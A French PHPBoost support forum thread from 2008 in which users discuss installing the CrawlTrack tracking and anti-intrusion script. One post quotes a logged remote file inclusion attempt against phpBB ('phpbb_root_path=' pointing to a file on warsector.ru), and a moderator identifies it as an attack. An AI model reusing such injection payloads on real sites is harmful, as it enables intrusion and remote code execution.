Aide pour CrawlTrack...

Aide pour CrawlTrack... [Réglé]

Support Général

ZTk Membre non connecté

Booster Roquette

Le 26/06/2008 à 18h28

#33679

Booster Roquette
Voir le profil du membre ZTk
Inscrit le : 13/01/2008
Site internet

Bonsoir à tous

Voilà j'aimerais un petit coup de pouce (et peut-être vous faire connaître ce script?)! afin d'intégrer CrawlTrack sur mon site.

Voici la description correspondant à ma demande: site du script

En gros un système de protection est d'infos assez sympathique, et je cherche à intégrer le tag pour le faire fonctionner.

Donc j'ai essayé en le mettant sur le premier index.php à la racine comme ça:

Code PHP :

<?php 
$crawltsite=1;
require_once("/****/*******/***/crawltrack/crawltrack.php");
 header('location: http://mixomatik.fr/news/news.php'); ?>

Mais cela ne fonctionne pas, sauriez vous me dire ou inclure ce tag s'il vous plait?

Merci beaucoup!

Édité par ZTk Le 26/06/2008 à 18h38

ben.popeye Membre non connecté

Equipe Historique Modérateur

Le 26/06/2008 à 19h58

#33687

Modérateur
Voir le profil du membre ben.popeye
Inscrit le : 04/08/2005
Email
Site internet
Groupes :
Equipe Historique

Tu fais une page crawktrack/index.php avec ceci :

Code PHP :

 
<?
include('../includes/begin.php');
define('TITLE', 'CrawlTrack');
include('../includes/header.php');
 
$crawltsite=1;
require_once("/crawltrack/crawltrack.php");
 
include('../includes/footer.php');

Ne connaissant pas le script je ne peux pas affirmer que ça va marcher, mais ça vaut le coup d'essayer.

Un problème, une question ? Cherchez dans la FAQ ou la documentation. Si vous ne trouvez pas la réponse, demandez du support sur le forum.

Bjarne Stroustrup, inventeur du C++ :
"There are two ways to write error-free programs; only the third works."

Visiteur

Boosteur Inactif

Le 26/06/2008 à 20h40

#33696

Boosteur Inactif
Voir le profil du membre
Inscrit le : 29/04/2026

Bonjour à tous,

J'ai conseillé, après avoir étudié un peu les fichiers de phpboost, d'inclure le code dans includes/begin.php.
Cet include doit être lu impérativement en premier, avant tout autre code pour éviter toute injection de code hack avant !
Ben.popeye, peut tu me dire quelle est la toute première requête faite ?
Cela va déterminer quel fichier doit contenir le code.

A ++

ZTk Membre non connecté

Booster Roquette

Le 26/06/2008 à 20h48

#33698

Booster Roquette
Voir le profil du membre ZTk
Inscrit le : 13/01/2008
Site internet

Merci Sylver de venir ici aussi filer la main

Et merci ben pour ta réponse

Édité par ZTk Le 26/06/2008 à 20h56

ben.popeye Membre non connecté

Equipe Historique Modérateur

Le 26/06/2008 à 21h36

#33701

Modérateur
Voir le profil du membre ben.popeye
Inscrit le : 04/08/2005
Email
Site internet
Groupes :
Equipe Historique

Ok je voyais pas du tout ça comme ça. Je pensais que c'était un module avec une interface simplement à inclure dans l'environnement "graphique".

Dans ce cas il faut effectivement le mettre dans includes/begin.php, c'est de toutes façons le premier fichier appelé systématiquement.

Citation :

Cet include doit être lu impérativement en premier, avant tout autre code pour éviter toute injection de code hack avant !

Peux-tu détailler de quoi tu as peur ?

Un problème, une question ? Cherchez dans la FAQ ou la documentation. Si vous ne trouvez pas la réponse, demandez du support sur le forum.

Bjarne Stroustrup, inventeur du C++ :
"There are two ways to write error-free programs; only the third works."

ZTk Membre non connecté

Booster Roquette

Le 26/06/2008 à 21h54

#33703

Booster Roquette
Voir le profil du membre ZTk
Inscrit le : 13/01/2008
Site internet

Pas de grand chose spécialement mais être bien sécurisé n'est pas un luxe, pour preuve un gros site ou je suis tout les jours (sous vbulletin) s'est fait hacker par jalousie et ils ont tout vidé etc...

Bref... Un grand Merci Ben (et Sylver bien entendu

)

ben.popeye Membre non connecté

Equipe Historique Modérateur

Le 26/06/2008 à 22h31

#33704

Modérateur
Voir le profil du membre ben.popeye
Inscrit le : 04/08/2005
Email
Site internet
Groupes :
Equipe Historique

Non mais concrètement qu'est-ce que ça change que ce soit au début ?

Un problème, une question ? Cherchez dans la FAQ ou la documentation. Si vous ne trouvez pas la réponse, demandez du support sur le forum.

Bjarne Stroustrup, inventeur du C++ :
"There are two ways to write error-free programs; only the third works."

Visiteur

Boosteur Inactif

Le 26/06/2008 à 22h47

#33705

Boosteur Inactif
Voir le profil du membre
Inscrit le : 29/04/2026

Salut ben.popeye,

L'important que ce soit au tout début, c'est que ce logiciel à pour but, outre la lecture très détaillée des passages des robots, des pages lues, visitées, des visiteurs envoyés par les moteurs de recherche, des mots clefs utilisés...

Et bien que c'est un logiciel de protection anti-hack !

Il lutte principalement contre toute injection de code pour l'intrusion et se comporte ensuite selon notre volonté ( nous informer et/ou bloquer sur cette attaque )

Donc, si il n'est pas chargé en premier, l'intrusion risque de passer avant ! Ce serait dommage !

Site de crawltrack: http://www.crawltrack.fr/fr/

A ++

Édité par Visiteur Le 26/06/2008 à 22h49

ben.popeye Membre non connecté

Equipe Historique Modérateur

Le 26/06/2008 à 23h00

#33707

Modérateur
Voir le profil du membre ben.popeye
Inscrit le : 04/08/2005
Email
Site internet
Groupes :
Equipe Historique

Quel genre de protection apporte-t-il ?
Par exemple quel genre d'attaque permet-il d'éviter (que nous ne protégeons pas).

Un problème, une question ? Cherchez dans la FAQ ou la documentation. Si vous ne trouvez pas la réponse, demandez du support sur le forum.

Bjarne Stroustrup, inventeur du C++ :
"There are two ways to write error-free programs; only the third works."

ZTk Membre non connecté

Booster Roquette

Le 27/06/2008 à 14h33

#33745

Booster Roquette
Voir le profil du membre ZTk
Inscrit le : 13/01/2008
Site internet

Bon je ne sait pas si c'est vraiment des attaques et ce qu'elles sont censées faire mais aujourd'hui dans le rapport de ce script j'ai eu 2 attaques par la même IP:

12 hr 46 mn

13 hr 54 mn

Citation :

Paramètres utilisés pour les tentatives d'injection de code:

preview=

preview=

Fichier/script que le hacker a tenté d'injecter:

1//includes/functions_admin.php?phpbb_root_path=http://warsector.ru//access

2008.log?

1//functions_admin.php?phpbb_root_path=http://warsector.ru//access2008.log?

Après c'est peut-être autre chose que des attaques je sait pas trop

ben.popeye Membre non connecté

Equipe Historique Modérateur

Le 27/06/2008 à 14h54

#33747

Modérateur
Voir le profil du membre ben.popeye
Inscrit le : 04/08/2005
Email
Site internet
Groupes :
Equipe Historique

Ce sont des attaques pour les scripts PHPBB sur des fichiers qui n'existent pas chez nous...
Les tentatives d'injection de code avec preview ne sont pas forcément des attaques, nous utilisons assez souvent l'attribut HTTP preview sur PHPBoost pour indiquer qu'il s'agit d'une prévisualisation.
J'ai d'ailleurs peur que ce script arrête l'exécution de la page dans un tel cas, ce qui nuirait au fonctionnement de PHPBooost.

Comme je l'ai indiqué plus haut, je ne vois pas ce qu'apporte ce script niveau sécurité, si ce n'est des conflits... A vous de me convaincre, mais ce que je vois là ne fait que confirmer mon point de vue.

Un problème, une question ? Cherchez dans la FAQ ou la documentation. Si vous ne trouvez pas la réponse, demandez du support sur le forum.

Bjarne Stroustrup, inventeur du C++ :
"There are two ways to write error-free programs; only the third works."

Support Général

Répondre

Vous n'êtes pas autorisé à écrire dans cette catégorie